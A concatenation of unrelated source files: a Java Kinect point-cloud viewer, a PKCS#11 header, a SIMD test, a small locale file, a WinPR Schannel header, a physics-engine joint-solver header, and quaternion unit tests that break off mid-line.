calibration post // and some python code I haven't documented yet. static void LoadRGBMatrix(GL2 gl2) { float mat[] = { 5.34866271e+02f, 3.89654806e+00f, 0.00000000e+00f, 1.74704200e-02f, -4.70724694e+00f, -5.28843603e+02f, 0.00000000e+00f, -1.22753400e-02f, -3.19670762e+02f, -2.60999685e+02f, 0.00000000e+00f, -9.99772000e-01f, -6.98445586e+00f, 3.31139785e+00f, 0.00000000e+00f, 1.09167360e-02f }; gl2.glMultMatrixf(mat, 0); } static void mouseMoved(int x, int y) { if (mx >= 0 && my >= 0) { rotangles[0] += y - my; rotangles[1] += x - mx; } mx = x; my = y; } static void mousePress(int button, int state, int x, int y) { if (button == MouseEvent.BUTTON1 && state == MouseEvent.MOUSE_PRESSED) { mx = x; my = y; } if (button == MouseEvent.BUTTON1 && state == MouseEvent.MOUSE_RELEASED) { mx = -1; my = -1; } } static void no_kinect_quit() { System.out.println("Error: Kinect not connected?"); frame.dispose(); System.exit(1); } static void DrawGLScene(GL2 gl2) { ShortPointer depthPointer = new ShortPointer((Pointer)null); BytePointer rgbPointer = new BytePointer((Pointer)null); int[] ts = new int[1]; if (freenect_sync_get_depth(depthPointer, ts, 0, FREENECT_DEPTH_11BIT) < 0) { no_kinect_quit(); } if (freenect_sync_get_video(rgbPointer, ts, 0, FREENECT_VIDEO_RGB) < 0) { no_kinect_quit(); } ShortBuffer depth = depthPointer.capacity(640 * 480).asBuffer(); ByteBuffer rgb = rgbPointer.capacity(640 * 480 * 3).asBuffer(); for (int i = 0; i < 480; i++) { for (int j = 0; j < 640; j++) { xyz.put(i * 640 * 3 + j * 3 + 0, (short)j); xyz.put(i * 640 * 3 + j * 3 + 1, (short)i); xyz.put(i * 640 * 3 + j * 3 + 2, depth.get(i * 640 + j)); indices.put(i * 640 + j, i * 640 + j); } } gl2.glClear(GL2.GL_COLOR_BUFFER_BIT | GL2.GL_DEPTH_BUFFER_BIT); gl2.glLoadIdentity(); gl2.glPushMatrix(); gl2.glScalef(zoom, zoom, 1); gl2.glTranslatef(0, 0, -3.5f); gl2.glRotatef(rotangles[0], 1, 0, 0); gl2.glRotatef(rotangles[1], 0, 1, 0); gl2.glTranslatef(0, 0, 1.5f); LoadVertexMatrix(gl2); // Set the projection from the XYZ to the texture image gl2.glMatrixMode(GL2.GL_TEXTURE); gl2.glLoadIdentity(); gl2.glScalef(1/640.0f,1/480.0f,1); LoadRGBMatrix(gl2); LoadVertexMatrix(gl2); gl2.glMatrixMode(GL2.GL_MODELVIEW); gl2.glPointSize(1); gl2.glEnableClientState(GL2.GL_VERTEX_ARRAY); gl2.glVertexPointer(3, GL2.GL_SHORT, 0, xyz); gl2.glEnableClientState(GL2.GL_TEXTURE_COORD_ARRAY); gl2.glTexCoordPointer(3, GL2.GL_SHORT, 0, xyz); if (color) { gl2.glEnable(GL2.GL_TEXTURE_2D); } gl2.glBindTexture(GL2.GL_TEXTURE_2D, gl_rgb_tex[0]); gl2.glTexImage2D(GL2.GL_TEXTURE_2D, 0, 3, 640, 480, 0, GL2.GL_RGB, GL2.GL_UNSIGNED_BYTE, rgb); gl2.glPointSize(2.0f); gl2.glDrawElements(GL2.GL_POINTS, 640*480, GL2.GL_UNSIGNED_INT, indices); gl2.glPopMatrix(); gl2.glDisable(GL2.GL_TEXTURE_2D); } static void keyPressed(int key) { if (key == KeyEvent.VK_ESCAPE) { freenect_sync_stop(); frame.dispose(); System.exit(0); } if (key == KeyEvent.VK_W) { zoom *= 1.1f; } if (key == KeyEvent.VK_S) { zoom /= 1.1f; } if (key == KeyEvent.VK_C) { color = !color; } } static void ReSizeGLScene(GL2 gl2, int Width, int Height) { gl2.glViewport(0,0,Width,Height); gl2.glMatrixMode(GL2.GL_PROJECTION); gl2.glLoadIdentity(); glu.gluPerspective(60, 4/3., 0.3, 200); gl2.glMatrixMode(GL2.GL_MODELVIEW); } static void InitGL(GL2 gl2, int Width, int Height) { gl2.glClearColor(0.0f, 0.0f, 0.0f, 0.0f); gl2.glEnable(GL2.GL_DEPTH_TEST); gl2.glGenTextures(1, gl_rgb_tex, 0); gl2.glBindTexture(GL2.GL_TEXTURE_2D, gl_rgb_tex[0]); gl2.glTexParameteri(GL2.GL_TEXTURE_2D, GL2.GL_TEXTURE_MIN_FILTER, GL2.GL_LINEAR); gl2.glTexParameteri(GL2.GL_TEXTURE_2D, GL2.GL_TEXTURE_MAG_FILTER, GL2.GL_LINEAR); ReSizeGLScene(gl2, Width, Height); } public static void main(String[] args) { Loader.load(org.bytedeco.libfreenect.global.freenect.class); canvas = new GLCanvas(); canvas.addGLEventListener(new GLEventListener() { @Override public void init(GLAutoDrawable glautodrawable) { InitGL(glautodrawable.getGL().getGL2(), glautodrawable.getSurfaceWidth(), glautodrawable.getSurfaceHeight()); } @Override public void display(GLAutoDrawable glautodrawable) { DrawGLScene(glautodrawable.getGL().getGL2()); } @Override public void dispose(GLAutoDrawable glautodrawable) { } @Override public void reshape(GLAutoDrawable glautodrawable, int x, int y, int width, int height) { ReSizeGLScene(glautodrawable.getGL().getGL2(), width, height); } }); canvas.addKeyListener(new KeyAdapter() { @Override public void keyPressed(KeyEvent e) { GLPCLView.keyPressed(e.getKeyCode()); } }); canvas.addMouseMotionListener(new MouseMotionAdapter() { @Override public void mouseDragged(MouseEvent e) { GLPCLView.mouseMoved(e.getX(), e.getY()); } }); canvas.addMouseListener(new MouseAdapter() { @Override public void mousePressed(MouseEvent e) { mousePress(e.getButton(), MouseEvent.MOUSE_PRESSED, e.getX(), e.getY()); } @Override public void mouseReleased(MouseEvent e) { mousePress(e.getButton(), MouseEvent.MOUSE_RELEASED, e.getX(), e.getY()); } }); frame = new JFrame("LibFreenect"); frame.setDefaultCloseOperation(JFrame.EXIT_ON_CLOSE); frame.getContentPane().setPreferredSize(new Dimension(640, 480)); frame.getContentPane().add(canvas); frame.pack(); frame.setVisible(true); animator = new FPSAnimator(canvas, 60, true); animator.start(); } }
4,591
529
<filename>DeviceCode/pal/PKCS11/Object.h #include "cryptoki.h" struct Object_Cryptoki { private: CK_OBJECT_HANDLE m_handle; public: CK_RV Copy(CK_ATTRIBUTE_PTR pTemplate, CK_ULONG ulCount, Object_Cryptoki* pObject); CK_RV Destroy(); CK_RV GetSize(CK_ULONG_PTR pulSize); CK_RV GetAttributeValue(CK_ATTRIBUTE_PTR pTemplate, CK_ULONG ulCount); CK_RV SetAttributeValue(CK_ATTRIBUTE_PTR pTemplate, CK_ULONG ulCount); }
217
975
<filename>test/insn/for_each.cc<gh_stars>100-1000 /* Copyright (C) 2017 <NAME> <<EMAIL>> Distributed under the Boost Software License, Version 1.0. (See accompanying file LICENSE_1_0.txt or copy at http://www.boost.org/LICENSE_1_0.txt) */ #include "../utils/test_helpers.h" #include "../utils/test_results.h" #include <simdpp/simd.h> namespace SIMDPP_ARCH_NAMESPACE { #if (__clang_major__ == 3) && (__clang_minor__ == 5) // clang 3.5 crashes when compiling lambda in the test template<class E, class Sum> class SumClosure { public: SumClosure(Sum& sum) : sum_(sum) {} void operator()(E el) { sum_ += (Sum) el; } private: Sum& sum_; }; #endif template<class V> void test_for_each_type(TestResultsSet& ts, TestReporter& tr) { using namespace simdpp; using E = typename V::element_type; TestData<V> s; s.add(make_uint(0, 1, 2, 3)); s.add(make_uint(0, 0, 0, 0)); s.add(make_uint(0xffffffff, 0xffffffff, 0xffffffff, 0xffffffff)); for (unsigned i = 0; i < s.size(); ++i) { V v = s[i]; uint64_t sum = 0; #if (__clang_major__ == 3) && (__clang_minor__ == 5) for_each(v, SumClosure<E,uint64_t>(sum)); #else for_each(v, [&](E el) { sum += (uint64_t) el; }); #endif TEST_PUSH(ts, uint64_t, sum); } V v1234 = make_uint(1, 2, 3, 4); E expected; switch (V::length) { case 1: expected = 1; break; case 2: expected = 3; break; case 4: expected = 10; break; default: expected = 10 * V::length / 4; } E sum = 0; #if (__clang_major__ == 3) && (__clang_minor__ == 5) for_each(v1234, SumClosure<E, E>(sum)); #else for_each(v1234, [&](E el) { sum += (uint64_t) el; }); #endif TEST_EQUAL(tr, expected, sum); } template<unsigned B> void test_for_each_n(TestResultsSet& ts, TestReporter& tr) { using namespace simdpp; using int8_n = uint8<B>; using int16_n = uint16<B/2>; using int32_n = uint32<B/4>; using int64_n = uint64<B/8>; using uint8_n = uint8<B>; using uint16_n = uint16<B/2>; using uint32_n = uint32<B/4>; using uint64_n = uint64<B/8>; using float32_n = float32<B/4>; using float64_n = float64<B/8>; test_for_each_type<int8_n>(ts, tr); test_for_each_type<int16_n>(ts, tr); test_for_each_type<int32_n>(ts, tr); test_for_each_type<int64_n>(ts, tr); test_for_each_type<uint8_n>(ts, tr); test_for_each_type<uint16_n>(ts, tr); test_for_each_type<uint32_n>(ts, tr); test_for_each_type<uint64_n>(ts, tr); test_for_each_type<float32_n>(ts, tr); test_for_each_type<float64_n>(ts, tr); } void test_for_each(TestResults& res, TestReporter& tr) { TestResultsSet& ts = res.new_results_set("foreach"); test_for_each_n<16>(ts, tr); test_for_each_n<32>(ts, tr); test_for_each_n<64>(ts, tr); } } // namespace SIMDPP_ARCH_NAMESPACE
1,343
5,941
/** * WinPR: Windows Portable Runtime * Schannel Security Package * * Copyright 2012 <NAME> <<EMAIL>> * * Licensed under the Apache License, Version 2.0 (the "License"); * you may not use this file except in compliance with the License. * You may obtain a copy of the License at * * http://www.apache.org/licenses/LICENSE-2.0 * * Unless required by applicable law or agreed to in writing, software * distributed under the License is distributed on an "AS IS" BASIS, * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. * See the License for the specific language governing permissions and * limitations under the License. */ #ifndef WINPR_SSPI_SCHANNEL_H #define WINPR_SSPI_SCHANNEL_H #include <winpr/sspi.h> #include <winpr/crypto.h> #if defined(_WIN32) && !defined(_UWP) #include <schannel.h> #else #define SCHANNEL_NAME_A "Schannel" #define SCHANNEL_NAME_W L"Schannel" #ifdef _UNICODE #define SCHANNEL_NAME SCHANNEL_NAME_W #else #define SCHANNEL_NAME SCHANNEL_NAME_A #endif #define SECPKG_ATTR_SUPPORTED_ALGS 86 #define SECPKG_ATTR_CIPHER_STRENGTHS 87 #define SECPKG_ATTR_SUPPORTED_PROTOCOLS 88 typedef struct _SecPkgCred_SupportedAlgs { DWORD cSupportedAlgs; ALG_ID* palgSupportedAlgs; } SecPkgCred_SupportedAlgs, *PSecPkgCred_SupportedAlgs; typedef struct _SecPkgCred_CipherStrengths { DWORD dwMinimumCipherStrength; DWORD dwMaximumCipherStrength; } SecPkgCred_CipherStrengths, *PSecPkgCred_CipherStrengths; typedef struct _SecPkgCred_SupportedProtocols { DWORD grbitProtocol; } SecPkgCred_SupportedProtocols, *PSecPkgCred_SupportedProtocols; enum eTlsSignatureAlgorithm { TlsSignatureAlgorithm_Anonymous = 0, TlsSignatureAlgorithm_Rsa = 1, TlsSignatureAlgorithm_Dsa = 2, TlsSignatureAlgorithm_Ecdsa = 3 }; enum eTlsHashAlgorithm { TlsHashAlgorithm_None = 0, TlsHashAlgorithm_Md5 = 1, TlsHashAlgorithm_Sha1 = 2, TlsHashAlgorithm_Sha224 = 3, TlsHashAlgorithm_Sha256 = 4, TlsHashAlgorithm_Sha384 = 5, TlsHashAlgorithm_Sha512 = 6 }; #define SCH_CRED_V1 0x00000001 #define SCH_CRED_V2 0x00000002 #define SCH_CRED_VERSION 0x00000002 #define SCH_CRED_V3 0x00000003 #define SCHANNEL_CRED_VERSION 0x00000004 struct _HMAPPER; typedef struct _SCHANNEL_CRED { DWORD dwVersion; DWORD cCreds; PCCERT_CONTEXT* paCred; HCERTSTORE hRootStore; DWORD cMappers; struct _HMAPPER** aphMappers; DWORD cSupportedAlgs; ALG_ID* palgSupportedAlgs; DWORD grbitEnabledProtocols; DWORD dwMinimumCipherStrength; DWORD dwMaximumCipherStrength; DWORD dwSessionLifespan; DWORD dwFlags; DWORD dwCredFormat; } SCHANNEL_CRED, *PSCHANNEL_CRED; #define SCH_CRED_FORMAT_CERT_CONTEXT 0x00000000 #define SCH_CRED_FORMAT_CERT_HASH 0x00000001 #define SCH_CRED_FORMAT_CERT_HASH_STORE 0x00000002 #define SCH_CRED_MAX_STORE_NAME_SIZE 128 #define SCH_CRED_MAX_SUPPORTED_ALGS 256 #define SCH_CRED_MAX_SUPPORTED_CERTS 100 typedef struct _SCHANNEL_CERT_HASH { DWORD dwLength; DWORD dwFlags; HCRYPTPROV hProv; BYTE ShaHash[20]; } SCHANNEL_CERT_HASH, *PSCHANNEL_CERT_HASH; typedef struct _SCHANNEL_CERT_HASH_STORE { DWORD dwLength; DWORD dwFlags; HCRYPTPROV hProv; BYTE ShaHash[20]; WCHAR pwszStoreName[SCH_CRED_MAX_STORE_NAME_SIZE]; } SCHANNEL_CERT_HASH_STORE, *PSCHANNEL_CERT_HASH_STORE; #define SCH_MACHINE_CERT_HASH 0x00000001 #define SCH_CRED_NO_SYSTEM_MAPPER 0x00000002 #define SCH_CRED_NO_SERVERNAME_CHECK 0x00000004 #define SCH_CRED_MANUAL_CRED_VALIDATION 0x00000008 #define SCH_CRED_NO_DEFAULT_CREDS 0x00000010 #define SCH_CRED_AUTO_CRED_VALIDATION 0x00000020 #define SCH_CRED_USE_DEFAULT_CREDS 0x00000040 #define SCH_CRED_DISABLE_RECONNECTS 0x00000080 #define SCH_CRED_REVOCATION_CHECK_END_CERT 0x00000100 #define SCH_CRED_REVOCATION_CHECK_CHAIN 0x00000200 #define SCH_CRED_REVOCATION_CHECK_CHAIN_EXCLUDE_ROOT 0x00000400 #define SCH_CRED_IGNORE_NO_REVOCATION_CHECK 0x00000800 #define SCH_CRED_IGNORE_REVOCATION_OFFLINE 0x00001000 #define SCH_CRED_RESTRICTED_ROOTS 0x00002000 #define SCH_CRED_REVOCATION_CHECK_CACHE_ONLY 0x00004000 #define SCH_CRED_CACHE_ONLY_URL_RETRIEVAL 0x00008000 #define SCH_CRED_MEMORY_STORE_CERT 0x00010000 #define SCH_CRED_CACHE_ONLY_URL_RETRIEVAL_ON_CREATE 0x00020000 #define SCH_SEND_ROOT_CERT 0x00040000 #define SCH_CRED_SNI_CREDENTIAL 0x00080000 #define SCH_CRED_SNI_ENABLE_OCSP 0x00100000 #define SCH_SEND_AUX_RECORD 0x00200000 #define SCHANNEL_RENEGOTIATE 0 #define SCHANNEL_SHUTDOWN 1 #define SCHANNEL_ALERT 2 #define SCHANNEL_SESSION 3 typedef struct _SCHANNEL_ALERT_TOKEN { DWORD dwTokenType; DWORD dwAlertType; DWORD dwAlertNumber; } SCHANNEL_ALERT_TOKEN; #define TLS1_ALERT_WARNING 1 #define TLS1_ALERT_FATAL 2 #define TLS1_ALERT_CLOSE_NOTIFY 0 #define TLS1_ALERT_UNEXPECTED_MESSAGE 10 #define TLS1_ALERT_BAD_RECORD_MAC 20 #define TLS1_ALERT_DECRYPTION_FAILED 21 #define TLS1_ALERT_RECORD_OVERFLOW 22 #define TLS1_ALERT_DECOMPRESSION_FAIL 30 #define TLS1_ALERT_HANDSHAKE_FAILURE 40 #define TLS1_ALERT_BAD_CERTIFICATE 42 #define TLS1_ALERT_UNSUPPORTED_CERT 43 #define TLS1_ALERT_CERTIFICATE_REVOKED 44 #define TLS1_ALERT_CERTIFICATE_EXPIRED 45 #define TLS1_ALERT_CERTIFICATE_UNKNOWN 46 #define TLS1_ALERT_ILLEGAL_PARAMETER 47 #define TLS1_ALERT_UNKNOWN_CA 48 #define TLS1_ALERT_ACCESS_DENIED 49 #define TLS1_ALERT_DECODE_ERROR 50 #define TLS1_ALERT_DECRYPT_ERROR 51 #define TLS1_ALERT_EXPORT_RESTRICTION 60 #define TLS1_ALERT_PROTOCOL_VERSION 70 #define TLS1_ALERT_INSUFFIENT_SECURITY 71 #define TLS1_ALERT_INTERNAL_ERROR 80 #define TLS1_ALERT_USER_CANCELED 90 #define TLS1_ALERT_NO_RENEGOTIATION 100 #define TLS1_ALERT_UNSUPPORTED_EXT 110 #define SSL_SESSION_ENABLE_RECONNECTS 1 #define SSL_SESSION_DISABLE_RECONNECTS 2 typedef struct _SCHANNEL_SESSION_TOKEN { DWORD dwTokenType; DWORD dwFlags; } SCHANNEL_SESSION_TOKEN; typedef struct _SCHANNEL_CLIENT_SIGNATURE { DWORD cbLength; ALG_ID aiHash; DWORD cbHash; BYTE HashValue[36]; BYTE CertThumbprint[20]; } SCHANNEL_CLIENT_SIGNATURE, *PSCHANNEL_CLIENT_SIGNATURE; #define SP_PROT_SSL3_SERVER 0x00000010 #define SP_PROT_SSL3_CLIENT 0x00000020 #define SP_PROT_SSL3 (SP_PROT_SSL3_SERVER | SP_PROT_SSL3_CLIENT) #define SP_PROT_TLS1_SERVER 0x00000040 #define SP_PROT_TLS1_CLIENT 0x00000080 #define SP_PROT_TLS1 (SP_PROT_TLS1_SERVER | SP_PROT_TLS1_CLIENT) #define SP_PROT_SSL3TLS1_CLIENTS (SP_PROT_TLS1_CLIENT | SP_PROT_SSL3_CLIENT) #define SP_PROT_SSL3TLS1_SERVERS (SP_PROT_TLS1_SERVER | SP_PROT_SSL3_SERVER) #define SP_PROT_SSL3TLS1 (SP_PROT_SSL3 | SP_PROT_TLS1) #define SP_PROT_UNI_SERVER 0x40000000 #define SP_PROT_UNI_CLIENT 0x80000000 #define SP_PROT_UNI (SP_PROT_UNI_SERVER | SP_PROT_UNI_CLIENT) #define SP_PROT_ALL 0xFFFFFFFF #define SP_PROT_NONE 0 #define SP_PROT_CLIENTS (SP_PROT_SSL3_CLIENT | SP_PROT_UNI_CLIENT | SP_PROT_TLS1_CLIENT) #define SP_PROT_SERVERS (SP_PROT_SSL3_SERVER | SP_PROT_UNI_SERVER | SP_PROT_TLS1_SERVER) #define SP_PROT_TLS1_0_SERVER SP_PROT_TLS1_SERVER #define SP_PROT_TLS1_0_CLIENT SP_PROT_TLS1_CLIENT #define SP_PROT_TLS1_0 (SP_PROT_TLS1_0_SERVER | SP_PROT_TLS1_0_CLIENT) #define SP_PROT_TLS1_1_SERVER 0x00000100 #define SP_PROT_TLS1_1_CLIENT 0x00000200 #define SP_PROT_TLS1_1 (SP_PROT_TLS1_1_SERVER | SP_PROT_TLS1_1_CLIENT) #define SP_PROT_TLS1_2_SERVER 0x00000400 #define SP_PROT_TLS1_2_CLIENT 0x00000800 #define SP_PROT_TLS1_2 (SP_PROT_TLS1_2_SERVER | SP_PROT_TLS1_2_CLIENT) #define SP_PROT_DTLS_SERVER 0x00010000 #define SP_PROT_DTLS_CLIENT 0x00020000 #define SP_PROT_DTLS (SP_PROT_DTLS_SERVER | SP_PROT_DTLS_CLIENT) #define SP_PROT_DTLS1_0_SERVER SP_PROT_DTLS_SERVER #define SP_PROT_DTLS1_0_CLIENT SP_PROT_DTLS_CLIENT #define SP_PROT_DTLS1_0 (SP_PROT_DTLS1_0_SERVER | SP_PROT_DTLS1_0_CLIENT) #define SP_PROT_DTLS1_X_SERVER SP_PROT_DTLS1_0_SERVER #define SP_PROT_DTLS1_X_CLIENT SP_PROT_DTLS1_0_CLIENT #define SP_PROT_DTLS1_X (SP_PROT_DTLS1_X_SERVER | SP_PROT_DTLS1_X_CLIENT) #define SP_PROT_TLS1_1PLUS_SERVER (SP_PROT_TLS1_1_SERVER | SP_PROT_TLS1_2_SERVER) #define SP_PROT_TLS1_1PLUS_CLIENT (SP_PROT_TLS1_1_CLIENT | SP_PROT_TLS1_2_CLIENT) #define SP_PROT_TLS1_1PLUS (SP_PROT_TLS1_1PLUS_SERVER | SP_PROT_TLS1_1PLUS_CLIENT) #define SP_PROT_TLS1_X_SERVER \ (SP_PROT_TLS1_0_SERVER | SP_PROT_TLS1_1_SERVER | SP_PROT_TLS1_2_SERVER) #define SP_PROT_TLS1_X_CLIENT \ (SP_PROT_TLS1_0_CLIENT | SP_PROT_TLS1_1_CLIENT | SP_PROT_TLS1_2_CLIENT) #define SP_PROT_TLS1_X (SP_PROT_TLS1_X_SERVER | SP_PROT_TLS1_X_CLIENT) #define SP_PROT_SSL3TLS1_X_CLIENTS (SP_PROT_TLS1_X_CLIENT | SP_PROT_SSL3_CLIENT) #define SP_PROT_SSL3TLS1_X_SERVERS (SP_PROT_TLS1_X_SERVER | SP_PROT_SSL3_SERVER) #define SP_PROT_SSL3TLS1_X (SP_PROT_SSL3 | SP_PROT_TLS1_X) #define SP_PROT_X_CLIENTS (SP_PROT_CLIENTS | SP_PROT_TLS1_X_CLIENT | SP_PROT_DTLS1_X_CLIENT) #define SP_PROT_X_SERVERS (SP_PROT_SERVERS | SP_PROT_TLS1_X_SERVER | SP_PROT_DTLS1_X_SERVER) #endif #endif /* WINPR_SSPI_SCHANNEL_H */
4,014
438
{ "DESCRIPTION": "Responde com um número aleatório.", "USAGE": "aleatório <LowNum> <HighNum>", "RESPONSE": "🎲 Número aleatório: {{NUMBER}}" }
70
1,042
/******************************************************************************** * ReactPhysics3D physics library, http://www.reactphysics3d.com * * Copyright (c) 2010-2020 <NAME> * ********************************************************************************* * * * This software is provided 'as-is', without any express or implied warranty. * * In no event will the authors be held liable for any damages arising from the * * use of this software. * * * * Permission is granted to anyone to use this software for any purpose, * * including commercial applications, and to alter it and redistribute it * * freely, subject to the following restrictions: * * * * 1. The origin of this software must not be misrepresented; you must not claim * * that you wrote the original software. If you use this software in a * * product, an acknowledgment in the product documentation would be * * appreciated but is not required. * * * * 2. Altered source versions must be plainly marked as such, and must not be * * misrepresented as being the original software. * * * * 3. This notice may not be removed or altered from any source distribution. * * * ********************************************************************************/ #ifndef REACTPHYSICS3D_SOLVE_SLIDER_JOINT_SYSTEM_H #define REACTPHYSICS3D_SOLVE_SLIDER_JOINT_SYSTEM_H // Libraries #include <reactphysics3d/utils/Profiler.h> #include <reactphysics3d/components/RigidBodyComponents.h> #include <reactphysics3d/components/JointComponents.h> #include <reactphysics3d/components/SliderJointComponents.h> #include <reactphysics3d/components/TransformComponents.h> namespace reactphysics3d { class PhysicsWorld; // Class SolveSliderJointSystem /** * This class is responsible to solve the SliderJoint constraints */ class SolveSliderJointSystem { private : // -------------------- Constants -------------------- // // Beta value for the bias factor of position correction static const decimal BETA; // -------------------- Attributes -------------------- // /// Physics world PhysicsWorld& mWorld; /// Reference to the rigid body components RigidBodyComponents& mRigidBodyComponents; /// Reference to transform components TransformComponents& mTransformComponents; /// Reference to the joint components JointComponents& mJointComponents; /// Reference to the slider joint components SliderJointComponents& mSliderJointComponents; /// Current time step of the simulation decimal mTimeStep; /// True if warm starting of the solver is active bool mIsWarmStartingActive; #ifdef IS_RP3D_PROFILING_ENABLED /// Pointer to the profiler Profiler* mProfiler; #endif // -------------------- Methods -------------------- // public : // -------------------- Methods -------------------- // /// Constructor SolveSliderJointSystem(PhysicsWorld& world, RigidBodyComponents& rigidBodyComponents, TransformComponents& transformComponents, JointComponents& jointComponents, SliderJointComponents& sliderJointComponents); /// Destructor ~SolveSliderJointSystem() = default; /// Initialize before solving the constraint void initBeforeSolve(); /// Warm start the constraint (apply the previous impulse at the beginning of the step) void warmstart(); /// Solve the velocity constraint void solveVelocityConstraint(); /// Solve the position constraint (for position error correction) void solvePositionConstraint(); /// Set the time step void setTimeStep(decimal timeStep); /// Set to true to enable warm starting void setIsWarmStartingActive(bool isWarmStartingActive); #ifdef IS_RP3D_PROFILING_ENABLED /// Set the profiler void setProfiler(Profiler* profiler); #endif }; #ifdef IS_RP3D_PROFILING_ENABLED // Set the profiler inline void SolveSliderJointSystem::setProfiler(Profiler* profiler) { mProfiler = profiler; } #endif // Set the time step inline void SolveSliderJointSystem::setTimeStep(decimal timeStep) { assert(timeStep > decimal(0.0)); mTimeStep = timeStep; } // Set to true to enable warm starting inline void SolveSliderJointSystem::setIsWarmStartingActive(bool isWarmStartingActive) { mIsWarmStartingActive = isWarmStartingActive; } } #endif
2,222
1,178
// Copyright 2020 Makani Technologies LLC // // Licensed under the Apache License, Version 2.0 (the "License"); // you may not use this file except in compliance with the License. // You may obtain a copy of the License at // // http://www.apache.org/licenses/LICENSE-2.0 // // Unless required by applicable law or agreed to in writing, software // distributed under the License is distributed on an "AS IS" BASIS, // WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. // See the License for the specific language governing permissions and // limitations under the License. #include <gtest/gtest.h> #include <math.h> #include <stdint.h> #include "common/c_math/geometry.h" #include "common/c_math/mat3.h" #include "common/c_math/quaternion.h" #include "common/c_math/util.h" #include "common/c_math/vec3.h" #include "common/macros.h" #include "lib/util/test_util.h" using ::test_util::Rand; using ::test_util::RandNormal; TEST(QuatAdd, Normal) { const Quat q1 = {-1.0, 2.0, -3.0, 4.0}, q2 = {1.0, 1.0, 1.0, 1.0}; Quat q_out, q_ans = {0.0, 3.0, -2.0, 5.0}; QuatAdd(&q1, &q2, &q_out); EXPECT_NEAR_QUAT(q_out, q_ans, DBL_EPSILON); } TEST(QuatAdd, ReuseInput1) { Quat q1 = {-1.0, 2.0, -3.0, 4.0}, q2 = {1.0, 1.0, 1.0, 1.0}; Quat q_ans = {0.0, 3.0, -2.0, 5.0}; QuatAdd(&q1, &q2, &q1); EXPECT_NEAR_QUAT(q1, q_ans, DBL_EPSILON); } TEST(QuatAdd, ReuseInput2) { Quat q1 = {-1.0, 2.0, -3.0, 4.0}, q2 = {1.0, 1.0, 1.0, 1.0}; Quat q_ans = {0.0, 3.0, -2.0, 5.0}; QuatAdd(&q1, &q2, &q2); EXPECT_NEAR_QUAT(q2, q_ans, DBL_EPSILON); } TEST(QuatSub, Normal) { const Quat q1 = {-1.0, 2.0, -3.0, 4.0}, q2 = {-1.0, -1.0, -1.0, -1.0}; Quat q_out, q_ans = {0.0, 3.0, -2.0, 5.0}; QuatSub(&q1, &q2, &q_out); EXPECT_NEAR_QUAT(q_out, q_ans, DBL_EPSILON); } TEST(QuatSub, ReuseInput1) { Quat q1 = {-1.0, 2.0, -3.0, 4.0}, q2 = {-1.0, -1.0, -1.0, -1.0}; Quat q_ans = {0.0, 3.0, -2.0, 5.0}; QuatSub(&q1, &q2, &q1); EXPECT_NEAR_QUAT(q1, q_ans, DBL_EPSILON); } TEST(QuatSub, ReuseInput2) { Quat q1 = {-1.0, 2.0, -3.0, 4.0}, q2 = {-1.0, -1.0, -1.0, -1.0}; Quat q_ans = {0.0, 3.0, -2.0, 5.0}; QuatSub(&q1, &q2, &q2); EXPECT_NEAR_QUAT(q2, q_ans, DBL_EPSILON); } TEST(QuatScale, Normal) { const Quat q = {-1.0, 2.0, -3.0, 4.0}; Quat q_out, q_ans = {-2.0, 4.0, -6.0, 8.0}; QuatScale(&q, 2.0, &q_out); EXPECT_NEAR_QUAT(q_out, q_ans, DBL_EPSILON); } TEST(QuatScale, ReuseInput) { Quat q = {-1.0, 2.0, -3.0, 4.0}, q_ans = {-2.0, 4.0, -6.0, 8.0}; QuatScale(&q, 2.0, &q); EXPECT_NEAR_QUAT(q, q_ans, DBL_EPSILON); } TEST(QuatLinComb, Normal) { const Quat q1 = {-1.0, 2.0, -3.0, 4.0}, q2 = {1.0, 1.0, 1.0, 1.0}; Quat q_out, q_ans; QuatLinComb(1.0, &q1, 0.0, &q2, &q_out); EXPECT_NEAR_QUAT(q1, q_out, DBL_EPSILON); QuatLinComb(0.0, &q1, 1.0, &q2, &q_out); EXPECT_NEAR_QUAT(q2, q_out, DBL_EPSILON); QuatAdd(&q1, &q2, &q_ans); QuatLinComb(1.0, &q1, 1.0, &q2, &q_out); EXPECT_NEAR_QUAT(q_out, q_ans, DBL_EPSILON); QuatSub(&q1, &q2, &q_ans); QuatLinComb(1.0, &q1, -1.0, &q2, &q_out); EXPECT_NEAR_QUAT(q_out, q_ans, DBL_EPSILON); } TEST(QuatLinComb, ReuseInput1) { Quat q_ans, q1 = {-1.0, 2.0, -3.0, 4.0}, q2 = {1.0, 1.0, 1.0, 1.0}; QuatAdd(&q1, &q2, &q_ans); QuatLinComb(1.0, &q1, 1.0, &q2, &q1); EXPECT_NEAR_QUAT(q1, q_ans, DBL_EPSILON); } TEST(QuatLinComb, ReuseInput2) { Quat q_ans, q1 = {-1.0, 2.0, -3.0, 4.0}, q2 = {1.0, 1.0, 1.0, 1.0}; QuatAdd(&q1, &q2, &q_ans); QuatLinComb(1.0, &q1, 1.0, &q2, &q2); EXPECT_NEAR_QUAT(q2, q_ans, DBL_EPSILON); } TEST(QuatLinComb3, Normal) { const Quat q1 = {-1.0, 2.0, -3.0, 4.0}; const Quat q2 = {1.0, 1.0, 1.0, 1.0}; const Quat q3 = {-5.0, 0.0, 0.0, 5.0}; Quat q_out, q_ans; QuatLinComb3(1.0, &q1, 0.0, &q2, 0.0, &q3, &q_out); EXPECT_NEAR_QUAT(q1, q_out, DBL_EPSILON); QuatLinComb3(0.0, &q1, 1.0, &q2, 0.0, &q3, &q_out); EXPECT_NEAR_QUAT(q2, q_out, DBL_EPSILON); QuatLinComb3(0.0, &q1, 0.0, &q2, 1.0, &q3, &q_out); EXPECT_NEAR_QUAT(q3, q_out, DBL_EPSILON); QuatAdd(QuatAdd(&q1, &q2, &q_ans), &q3, &q_ans); QuatLinComb3(1.0, &q1, 1.0, &q2, 1.0, &q3, &q_out); EXPECT_NEAR_QUAT(q_out, q_ans, DBL_EPSILON); QuatAdd(QuatSub(&q1, &q2, &q_ans), &q3, &q_ans); QuatLinComb3(1.0, &q1, -1.0, &q2, 1.0, &q3, &q_out); EXPECT_NEAR_QUAT(q_out, q_ans, DBL_EPSILON); } TEST(QuatLinComb3, ReuseInput1) { Quat q_ans, q1 = {-1.0, 2.0, -3.0, 4.0}; const Quat q2 = {1.0, 1.0, 1.0, 1.0}; const Quat q3 = {-5.0, 0.0, 0.0, 5.0}; QuatAdd(QuatAdd(&q1, &q2, &q_ans), &q3, &q_ans); QuatLinComb3(1.0, 